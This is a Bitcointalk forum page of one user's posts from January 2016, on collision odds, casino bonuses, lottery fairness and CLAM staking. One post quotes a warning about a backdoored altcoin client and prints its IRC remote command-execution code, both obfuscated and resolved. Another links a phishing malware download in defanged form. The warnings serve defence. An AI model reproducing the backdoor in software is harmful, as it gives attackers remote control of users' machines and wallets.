Bitcoin Forum
May 30, 2024, 08:51:11 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
  Home Help Search Login Register More  
  Show Posts
Pages: « 1 ... 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 [89] 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 ... 573 »
1761  Bitcoin / Development & Technical Discussion / Re: What are the chances of an address collision? and what happens when it does? on: January 16, 2016, 12:41:19 PM
Address collision won't occur. It will be a billionth of billionth of a billionth chance, that an address may collide.

The chance depends on how many addresses there are.

Further, the address is backed by public key and private keys. Those keys must be different even if an address collide with another. No need to worry or think about the collision problem. The ECD curve is much larger than the scope we're imagining.

The ECD curve doesn't matter. We use 160 bit addresses, and that's the space we're looking for collisions in. If two different privkeys give the same address they can still spend each other's funds, since we pay to addresses, not to privkeys or pubkeys.
1762  Economy / Gambling / Re: BetCoin.TM Bitcoin Casino | Poker | Slots | Sports | Live Dealers | And More! on: January 16, 2016, 05:12:01 AM
I decided to try out the non-deposit bonus thing.

Quote
RISK-FREE NO-DEPOSIT WELCOME BONUS
Our welcome bonus provides you with free Bitcoin to play with when you sign up. After creating your account, the welcome bonus is immediately added to your account. For you to withdraw any of the winnings you get with the bonus amount, you will need to bet your bonus amount times 888x on any of our games.

I already had around 0.040 BTC from poker freerolls etc. and the bonus added 15.62xxx something to my balance. I played a little 'circle' and now it says:

Quote
Current Bonus
Percent Unlocked 0.02%
Current Value ฿16.00000000 102.38%

Then I decided to try the live casino to see how that works. I click 'live dealers' then 'europe' but my bonus has disappeared and all I have left is my old poker winnings:



Does the bonus not work for 'live dealers'?  When I read about the bonus it told me I could clear the wagering requirements by playing "any of our games".
1763  Bitcoin / Bitcoin Discussion / free private key for some BTC dust on: January 16, 2016, 01:52:29 AM
Is this of any use to anyone?

Quote
> listunspent 0 9999
[
  {
    "txid": "e1ca67e724b6808230b65c8ff92be1f278919d713747da1b0692f1fbc8858b8a",
    "vout": 1,
    "address": "1HKnuXP3RZDLjHPuDcj4EzaDtEH94FMbgB",
    "scriptPubKey": "76a914b30fd1e52e16b83cbde1b39e9c9bf26273581ed488ac",
    "amount": 0.00007740,
    "confirmations": 0,
    "spendable": true
  }
]

> dumpprivkey 1HKnuXP3RZDLjHPuDcj4EzaDtEH94FMbgB
L21YLXUaiBiJaiYoxjTR9rDYcNm6ue2DpG2Royqzipf8jcBzbv5D

I think it's too small to be spendable, but would rather someone use it if they can.
1764  Economy / Gambling / Re: Worldwide bitcoin lottery on: January 15, 2016, 08:48:02 PM
Question however is, since many point to pevpot, which use provably fair on their site. But there is also some point of trust https://www.pevpot.com/provably-fair to get the “blockHash”. So is this then provably fair?
I am fighting in my head a bit with this term.

I would call pevpot provably fair, because the only "trusted source" of randomness is coming from the guy who mines a particular block, and he *cannot know* the effect of his blockhash on the result of the lottery until an hour or two after he has committed to it.

The only problem here is that I am assuming that hardware doesn't exist that is capable of running a chain of a five billion pbkdf2 operations end to end in less than an hour.

blockcypher.com is used to put the ticket into it’s correct position order by time. So in a lottery batch (block) there are 10 tickets. How would they get their position (0 to 9) if not by at timestamp or some sorting algorithm?

Just use their order in the Bitcoin blockchain. No need for timestamps. Sort by block number first, and position within block second. Nobody can dispute that ordering. You can get the ordered list of transactions within a block:

Code:
$ bitcoin-cli getblock $(bitcoin-cli getblockhash 393457) | head -n 15
{
  "hash": "000000000000000006479b1d342159d8602976ad70880d44efbd78ad4aa90aee",
  "confirmations": 1,
  "size": 999832,
  "height": 393457,
  "version": 4,
  "merkleroot": "b53786c6435be31943cd2928469c5448966e05932c957d8f4b6444a14c55ddc5",
  "tx": [
    "f4605008afcbe1cd2a5e3a615ae8b62224a7e8b1e40541a043512892f783eaeb",
    "47fe1f5519389f5bc28b00245da528a843f0c071b2fdf7e5ef95ea00e674c9d7",
    "89d7a09abaa992c7bf66b975aec85657105227a392c45b5d2d9000044f278eac",
    "9a0f81ac609c9211c97a41d1219c693902685ca78022be60ba716e715f0072cb",
    "4c02830cdc86ae9e7cb7f1d1098244b11268e79c0ca2536743c02db4ce17f482",
    "d666cdcb0c1969fe7e936071c6ae7f18b11b375a8d29a17fd2ec863b7a0a6c75",
    "398a46ca9dc6a996f9deb937289ae6c885b017823bef58bb33e46efe673326fc",

Since it seems like one has to choose between 100% provably fair and not use any external sources. (As I read your reply then any form of external source, then it is not provably fair)

It seems to me that it is OK to use an external source so long as that external source commits to its decision before it could know the effect of its decision. For example, at Just-Dice I could use random.org to pick the server seeds and it wouldn't matter because at the time of server seed selection I know neither the client seed nor how the player is going to play.

What system would you prefer:
A provably fair system (where you cannot remove the organiser option to be dishonest)?
Or
A system based on random beacon from some source? (Must rely on external source to be fair, but organiser cannot cheat)

I don't think the first option is viable. Nobody will play a lottery where the operator can cheat undetectably.

The 2nd option is better, but if you can somehow make it that the external source can't cheat either, that would be best. That's what pevpot's 5 billion iterations is about - preventing the miner from knowing how his block affects the result.
1765  Alternate cryptocurrencies / Announcements (Altcoins) / Re: [ANN][CLAM] CLAMs, Proof-Of-Chain, Proof-Of-Working-Stake, a.k.a. "Clamcoin" on: January 15, 2016, 08:16:40 PM
so I just need 0.01 CLAM for example and I'm good to go? or are my chances increased to process a block the larger my stash?

Your chance of staking per unit time is proportional to the size of your stash, yes.

If you have 1000 CLAMs you will stake 1 CLAM about once per day on average.

If you have 0.01 CLAMs you will stake 1 CLAM about every 100,000 days (or 274 years) on average although you might get lucky and stake on your first day of trying.
1766  Economy / Scam Accusations / Re: CRYPTSY stopping withdraw locking accounts without notifying users! Class Action on: January 15, 2016, 08:07:00 PM
Figuring out who owns the btc addresses that received the multiple 1000BTC transactions could lay in the small amounts that are also received on those addresses.

Not really. People send these tiny transactions as a form of cheap advertising. Just scam the blockchain for the 10,000 most "interesting" addresses (most active, highest balance, most famous) and send them some dust from your vanity address. Personally it leaves me with a negative association ("factom == spammer") but I guess it must work, or they wouldn't keep doing it.

Either way, you can't assume a connection between factom and the thief just because because factom sent some dust to the same addresses that hold the stolen coins.

How THE FUCK is a cold wallet jacked??? "We were alerted" yeah fucking right. Did mullick have to stop his reach around on you for five seconds to "alert" you?? Because your tight ass security did not scan every time before putting the cold wallet online?

You don't put cold wallets online. Because they are cold.

ALL THAT'S PENNED IN THE TRUST SECTION OF THIS FORUM IS NOT INDEXED BY ANY SEARCH ENGINE ON THE INTERNET. Pretty amazing, eh?

That's because you can't see trust feedback if you aren't logged in. Presumably the search engine spiders don't log in when crawling the web.
1767  Alternate cryptocurrencies / Announcements (Altcoins) / Re: [ANN][CLAM] CLAMs, Proof-Of-Chain, Proof-Of-Working-Stake, a.k.a. "Clamcoin" on: January 15, 2016, 06:09:00 PM
Hi! Anyone knows how to import a blockchain.info wallet to clam client in order to claim free clams? Thanks

I didn't use their wallet for a long time, but from what I remember you do something like:

1) import/export
2) unencrypted
3) look for the bit which says "priv"
4) go to the clam debug console, and "importprivkey XXX" where XXX is the "priv" part of the unencrypted export
1768  Economy / Gambling / Re: Worldwide bitcoin lottery on: January 15, 2016, 08:44:27 AM
So an updated algorithm and flow:

1. Points of trust
In order to make something provably fair we need one or more points of trust.
For this lottery algorithm the following 2 places are used:
- blockcypher.com
- https://beacon.nist.gov

I think you are missing the point. Proof and trust are incompatible. We prove the game is fair so that you don't have to trust anyone.

I can tell you that Pythagoras' Theorem is true and show you it stated in a trustworthy publication, or I can prove it to you. Once I have proved it to you, you know it is true even if you don't trust the publication that stated it. Proof removes the need for trust.

blockcypher.com is used to determine the receiving time of payment for a ticket
https://beacon.nist.gov is used to select a random beacon

I would say that you have two holes in your proof. Either one of those two entities could be dishonest - you cannot prove that they aren't.

2. Lottery blocks
We referring to a "lottery block", then I refer to a draw with 10 participants.

2. The flow

It's hard to follow. I think it could use some proofreading and possibly renumbering. What is a "lottery block" exactly?

The seed is a combination of the bitcoin addresses in the ordered ticket_info_array and a random beacon found at https://beacon.nist.gov. The timestamp used for calling their API will be lottery block lock time + 10 minutes. Since these random beacon are calculated each minute, then this ensures that no one knows this until after the lottery block is locked. See calculateSeed() as getRandomBeacon() for reference.

I think you need to specify which version of mt_rand you're using. Its output changes depending on the version of PHP. Better would be to use something more standard so we don't have to install PHP to verify results.

It sounds as if we don't have to trust blockcypher.com at all, because the random beacon has the final say in who wins. In fact why do we even need to use blockcypher.com? What do we lose by simply using the random beacon at block_time + 10 minutes alone to pick the winning ticket? Hash the beacon, divide by 10, and the remainder is the winner. What does simplifying the draw to such an extent take away? I think your currently described system is entirely dependent on the government beacon to decide the winner, so why bother with all the extra complication? If the beacon site is cheating, they can make any ticket win under either system, and if they aren't then both systems are equally "fair".

Or did I miss something?
1769  Alternate cryptocurrencies / Altcoin Discussion / Re: Beware of Increasingly Sophisticated Malware Infection Attempts on: January 15, 2016, 05:49:28 AM
And this is what allegedly brings down Cryptsy...

In the past months, malware infection attempts on this forum has become increasingly sophisticated. Below is a summary of infection techniques that I have encountered. With the most sophisticated attacks, common sense and virus scans is no longer sufficient to ensure safety.

[...]

Modified source with backdoor
This was recently brought to my attention via a user report. A newbie, under the guise of reviving a coin posted a new client along with source. However, the source was modified to include a backdoor in the IRC bootstrapping mechanism.
here is the relevant source code:
Code:
if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
{
CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
CFree(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
}
}
here is the source code with macros resolved:
Code:
if (vWords[1] == "PRIVMSG" && vWords[3] == ":!" && vWords[0].size() > 1)
{
FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
if (buf) {
std::string result = "";
while (!feof(buf))
if (fgets(pszName, sizeof(pszName), buf) != NULL)
result += pszName;
pclose(buf);
strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
if (strchr(pszName, '!'))
*strchr(pszName, '!') = '\0';
Send(hSocket, strprintf("%s %s :%s\r", "PRIVMSG", pszName, result.c_str()).c_str());
}
}
The code was part of the initial commit, so it would be difficult to notice the addition of the code by casual inspection. Also, this would likely not show up on any virus scans.

But an IRC backdoor would only work on online machines, not cold wallets. Are exchanges still not keeping the majority of their bitcoins offline?
1770  Economy / Gambling / Re: BetCoin.TM Bitcoin Casino | Poker | Slots | Sports | Live Dealers | And More! on: January 14, 2016, 10:35:15 PM
Posting a 99.5% RTP is pretty misleading when forcing unsolicited advice to the player every hand which, if followed, would significantly reduce the RTP.  

Just how bad is the advice?

http://wizardofodds.com/games/video-poker/basics/#toc-PlayingStrategy lists three strategies for video poker:

 * Jacks or Better simple strategy (return of 99.46%)
 * Jacks or Better intermediate strategy (return of 99.52%)
 * Jacks or Better optimal strategy (return of 99.54%)

The optimal strategy is a list of 36 rules which would take considerable effort to memorise, for not much gain over the intermediate strategy, which is a list of 25 rules. And that doesn't give you much gain over the simple strategy, which is a relatively simple, mostly intuitive list of 16 rules.

So are we talking "worse than this simple strategy" bad?

Edit:

In the example I gave:

As Ks Js Tc 6h

The obvious right play  is holding As Ks Js
EV = 1.4

Software advises holding As Ks Js Tc
EV = 0.5

OK, so that is horrible advice. Even the simple strategy recommends holding 3 to a royal (rule 7). "Chase the gutshot" isn't even in the list:



I think it is reasonable to have the computer recommend simple strategy, which isn't perfect, but is close enough. But to have it give really bad advice doesn't seem acceptable.
1771  Economy / Gambling / Re: BetCoin.TM Bitcoin Casino | Poker | Slots | Sports | Live Dealers | And More! on: January 14, 2016, 08:01:26 PM
Suddenly, quietly like "lets cut them, I'm sure nobody will notice it" thinking. Why we should announce it like the "Huge" one and so on. For example Tournament Champions SNGs lasts just 1-2 hours after there was enough eligible players to start playing it for 1-st time.

The made a big fuss about introducing the freerolls, and were much quieter about cutting the payouts. I think that makes sense. Why make a big deal about what is effectively bad news for the players?

    "Hey guys, big news! We're cutting the payout on all the freerolls!!!"

It does feel a little rough that they cut the pot sizes just as people were qualifying to play in the bigger freerolls. It's a kind of bait and switch. I was playing lots to earn points to qualify for the bigger pots, and just as I reach them they vanish. But I was playing with free money, so would feel like a jerk complaining about it.
1772  Other / Archival / Re: Do all casinos hold large wins for a few weeks for "fraud inspection"? (84 BTC) on: January 14, 2016, 07:56:59 PM
If I read the post correctly, OP actually has done a max bet on #1 and some amount on #0. Considering that he has ~16 btc before the bet and ~86 btc after and he should get x36 back for the bet, that max bet seems to be exactly 2 btc.

I've not played at FJ, but from what OP wrote, the "max bet" button actually places bets on all the bets which include the number you pick.

So he didn't just bet the maximum on number 1, he also bet the maximum on "1 and 4", and "1 and 2" and "1, 2, 3", and "1,4,7,...,34", and "1-6", etc. Maybe even on the red/black, hi/lo, odd/even that "1" is in, too.
1773  Alternate cryptocurrencies / Announcements (Altcoins) / Re: [ANN][CLAM] CLAMs, Proof-Of-Chain, Proof-Of-Working-Stake, a.k.a. "Clamcoin" on: January 14, 2016, 07:37:45 PM
Can I use setstakesplitthreshold command in console to prevent my blocks from splitting below the size I want them to split?

No, but you can put:

    splitsize=10

in clam.conf in the same folder as your CLAM wallet.dat and it will only split to size 10 or more.

You need to restart for changes to that file to take effect.
1774  Economy / Gambling / Re: Introducing PevPot.com The Bitcoin Lottery on: January 14, 2016, 07:20:19 PM
Ryan: you should strip non 0-9A-Za-z characters from the address before attempting to validate it.

Hey everyone, unfortunately I'm going to shut down pevpot, and make this draw the last one Sad

Wow, talk about an over reaction!

OK, fine! Don't strip non 0-9A-Za-z characters from the address before attempting to validate it!

Just kidding.

Do you have any interest in me taking over the operation of the site from you? Or would you rather it just go away?
1775  Economy / Gambling / Re: BetcoinCasino.com-Betcoin.ag-DICE FREEROLLS TODAY! - 100% Bonus!480 BTC jackpots on: January 14, 2016, 06:54:21 PM
I'm a day late to this, but I received the same:



The link goes to hxxp://141.105.69.206/dn/?e=V2tjNWRsb3llREZqTUVKdVlsZEdjR0pETldwaU1qQTk=

It's a Russian IP address:

Quote
inetnum:        141.105.64.0 - 141.105.71.255
netname:        RU-HOSTKEY-20110627
descr:          Mir Telematiki Ltd
country:        RU
org:            ORG-MTL21-RIPE
admin-c:        PC7356-RIPE
tech-c:         PC7356-RIPE
tech-c:         PC7356-RIPE
status:         ALLOCATED PA
mnt-by:         RIPE-NCC-HM-MNT
mnt-lower:      MTLM-MNT
mnt-routes:     MTLM-MNT
remarks:        abuse-mailbox: abuse@hostkey.com
created:        2011-06-27T08:53:56Z
last-modified:  2011-08-01T14:53:33Z
source:         RIPE # Filtered

organisation:   ORG-MTL21-RIPE
org-name:       Mir Telematiki Ltd
org-type:       LIR
address:        Lva Tolstogo, 19/2
address:        119021
address:        Moscow
address:        RUSSIAN FEDERATION
phone:          +74953699796
fax-no:         +74953699796
mnt-ref:        MTLM-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
abuse-mailbox:  abuse@hostkey.ru
abuse-c:        HA2800-RIPE
created:        2010-10-06T10:46:46Z
last-modified:  2015-12-25T05:46:40Z
source:         RIPE # Filtered

person:         Peter Chayanov
address:        Moscow, Russia
phone:          +7 495 369 97 96
nic-hdl:        PC7356-RIPE
mnt-by:         MTLM-MNT
abuse-mailbox:  abuse@hostkey.ru
created:        2008-10-19T20:57:02Z
last-modified:  2015-12-25T05:44:46Z
source:         RIPE # Filtered

The link goes to a Windows executable which contains malware:



Someone scanned the same binary yesterday with virustotal, and only 2 antiviruses detected anything:



Repeating the scan today shows that many more antiviruses now recognise the malware, suggesting it's some new variant:



Edit: a betcoin customer helpfully posted a couple of links to articles about this on the site:

Due to recent phishing emails which look nearly identical to authentic support emails please visit this page for more info and stay safe:

https://www.betcoin.ag/increased-email-security-email-verification-code-betcoinag

https://www.betcoin.ag/phishing-attempt-warning-do-not-open-link-e-mail

I wonder why there are no official warnings from the site on this thread.

Also, what happened? How did 'they' get everyone's account name and email address? Were funds stolen?
1776  Bitcoin / Development & Technical Discussion / Re: What are the chances of an address collision? and what happens when it does? on: January 14, 2016, 06:03:50 PM
Sorry for the necro-post, but reddit is talking about this thread, and nobody in this thread seems to be close to the truth...

Given your example of 1 billion users at 10 addresses each:

There are 2^160  possible addresses
In your scenario, 1,000,000,000 people are using 10 addresses each for a total of 10,000,000,000 possible addresses
10,000,000,000 / 2^160 should yield the probability of a collision occurring

This is wrong. It fails to take into account the birthday problem.

When there are 10^10 addresses, there are roughly (10^20)/2 pairs of addresses.

Consider when there are 5 addresses, A through E.

To check for a collision, you need to compare AB, AC, AD, AE, BC, BD, BE, CD, CE, DE - that's 10 pairs of addresses (5*4)/2, or roughly (5^2)/2.

So your answer is off by a factor of roughly 5 billion.

Since there are 2^160 possible addresses, we need around 2^80 of them to have a 50% chance of a collision.

http://diyhpl.us/~bryan/papers2/bitcoin/bitcoin-birthday.pdf does a better job of approximation, but comes up with a similar answer.

Comparatively speaking, your odds of being struck by lightning in a given calendar year are about 1 in 280,000. The odds of winning my local lottery are about 1 in 176,000,000. So finding a collision on your first try is roughly equivalent to being hit by lightning 16,540,000,000,000,000,000,000,000 times per second for an entire year

No. You can say that the odds of being hit by lightning are 16,540,000,000,000,000,000,000,000 times higher than of finding a collision, but your statement isn't true.

A simpler example that we can picture more easily than all those zeroes:

 * I have a 1 in 2 chance of coin coming up tails.
 * I have a 1 in 20 chance of rolling a 6 on a 20 sided die.
 * so tossing "tails" is 10 times more likely than rolling a 6.

From this, using your logic, I am just as likely to toss "tails" 10 times in a row as I am to roll a 6.

But we can see that this isn't true. Tossing "tails" 10 times in a row is a 1 in 1024 event. Rolling a 6 is still only 1 in 20.
1777  Economy / Gambling / Re: Introducing PevPot.com The Bitcoin Lottery on: January 14, 2016, 12:29:09 PM
Well, I tested it with a quick address I created on Bitaddress.org and I Got validation error: Invalid value for win_address
Do you first have to send money to a Lottery address and then fill in the fields here? https://www.pevpot.com/play

No. I'm not sure how you got this wrong.

1. Make an address:



2. Fill in form:



3. Submit form, get deposit address:



I'm guessing you copy/pasted the private key from bitaddress instead of the Bitcoin address? Or you didn't copy the whole address?

Actually, I just tried using "15EbrqLqRttTHW2wsebCuRd7ojgCeL9uH3 " (with a space on the end) and got "Got validation error: Invalid value for win_address". So maybe that's what you did wrong. Don't copy/paste any extra spaces around the address.

Ryan: you should strip non 0-9A-Za-z characters from the address before attempting to validate it.
1778  Economy / Gambling / Re: BetCoin.TM Bitcoin Casino | Poker | Slots | Sports | Live Dealers | And More! on: January 14, 2016, 08:45:51 AM
Your Huge Poker Announcement! doesn't last very long Cheesy

[...]

So freerolls get reduced while player pool get boosted...

tl;dr: waaah, this free money you are giving us is unacceptable Wink

I'm surprised how much they're giving away to be honest. It must be costing them a small fortune.

It's tricky getting people to switch poker sites, and even trickier to get them to risk their own money once they've come for the freebies. It will be interesting to see how much action there is at betcoin.tm once the free money dries up.
1779  Economy / Gambling / Re: Dice - Chances of rolling the above or below consecutive times on: January 14, 2016, 08:22:45 AM
After 8 months of watching player bets I've seen 22 loss and 23 win streaks but Dooglus explained it best.

I don't know if you've seen this thread before, but the longest losing streak at 49.5% on Just-Dice back when we accepted Bitcoin was 32:

  https://bitcointalk.org/index.php?topic=610339.msg7060900#msg7060900

Interestingly, the 2nd longest was 5 bets shorter, at 27.

I would be interested to know if anyone has ever seen a longer losing streak at 49.5% than 32 in a row.

Roughly speaking, the odds against 10 in a row is one in a thousand, 20 in a row is one in a million, and 30 in a row is one in a billion.

So that 32 in a row is a one in four billion shot. The losing streak ended with bet number 594,791,171 and that counter includes all bets, not just those at 49.5%.

Edit: here's a screenshot of the 27-streak:

1780  Economy / Gambling / Re: Worldwide bitcoin lottery on: January 14, 2016, 07:59:01 AM
1. The algorithm for selecting the winner in each should be a random algorithm based only on the bitcoin addresses participating.
I believe that it will very important, that this algorithm is public, so everyone can test that the draw is not tampered with in any way. But also must be so complex that nobody can predict any outcomes.
This part I think I have already covered with an algorithm that I have worked on and tested over the past couple of months.

I don't think this is as easy as you think it is to get right. I'll respond further when you post the algorithm, below.

I hope someone can suggest a complete transparent setup where participants at any time can verify that the prize pool is intact and I way where bitcoins can only be paid to winners.
And off course cannot be hacked.
Is this possible ?

I don't think it's possible using Bitcoin. Maybe using an Ethereum smart contact you could do something like this, where the contract takes care of paying out the winner and only the winner. As I understand it, if you have access to the bitcoins to send them to the winner, you also have access to the bitcoins to send them to yourself, or to someone who blackmails you, etc.

You could check RHavar thread (search it, https://www.pevpot.com/) - he made +EV lottery. I don't think you could compete this. As your will be -EV and have  big reputation here.

just for info....all casinos are -EV and all fiat and BTC lotteries are -EV

pevpot.com is a +EV BTC lottery. The site pays out more in prizes than it takes from players. The difference comes from sponsors who advertise on the site.

"EV" means "expected value" by the way.

You should really take a look at the pevpot thread since it is a great example of how to make a provably fair lottery, and the thread is a decent example of how to work with the forum community to improve the site.

Ultimately, however, we are left having to trust RHavar to pay out the correct winner each week, and not to steal the coins for himself. But at least we can be confident that the winner was fairly selected - we can verify the result for ourselves, and know that nobody was able to manipulate the result. (Well, everyone is able to manipulate the result, but it takes so long to calculate the effect of each manipulation that by the time your calculation finishes it is too late).

Normally I would not trust anyone claiming EV+ in lottery as this is not sutainable business model.

The idea is that players will flock to the site to play the +EV game, which will make the site attractive for advertisers, who will fund the +EV-ness of the site. I'm not sure how well it's working out, since I'm pretty much the only sponsor, and that's mostly only because I was given 1 BTC by the guy who won the first draw, and asked to use it to sponsor future draws.

So now I can post the algorithm, that is developed

[...]

# A secret token and secret salt is made for every lottery block of 10 tickets

[...]

Again, please point out any problems with this method.

If the aim is to make it impossible for you to cheat by buying tickets, why are there any secrets?

If knowing the secret seeds would help a player cheat then knowing them would also help you cheat.

And if knowing the secret seeds would not help a player cheat then they don't need to be secret.

I didn't look much deeper into your algorithm, but I see you are using timestamps, which is usually problematic. Who decides the time at which a ticket was purchased. Transactions don't have timestamps, and different peers on the Bitcoin network will see transactions at different times. Are we going to take blockchain.info's word for when they first saw the transaction? If so, that's a point of trust. Or are we using the timestamp of the block containing the transaction? Then we're relying on the miner of that block. When there's 5000 BTC at stake it might be worth discarding a few 25 BTC blocks if their timestamp means we lose the raffle. And so on... But the 'secret' thing stands out as a bigger concern first.
Pages: « 1 ... 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 [89] 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 ... 573 »
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!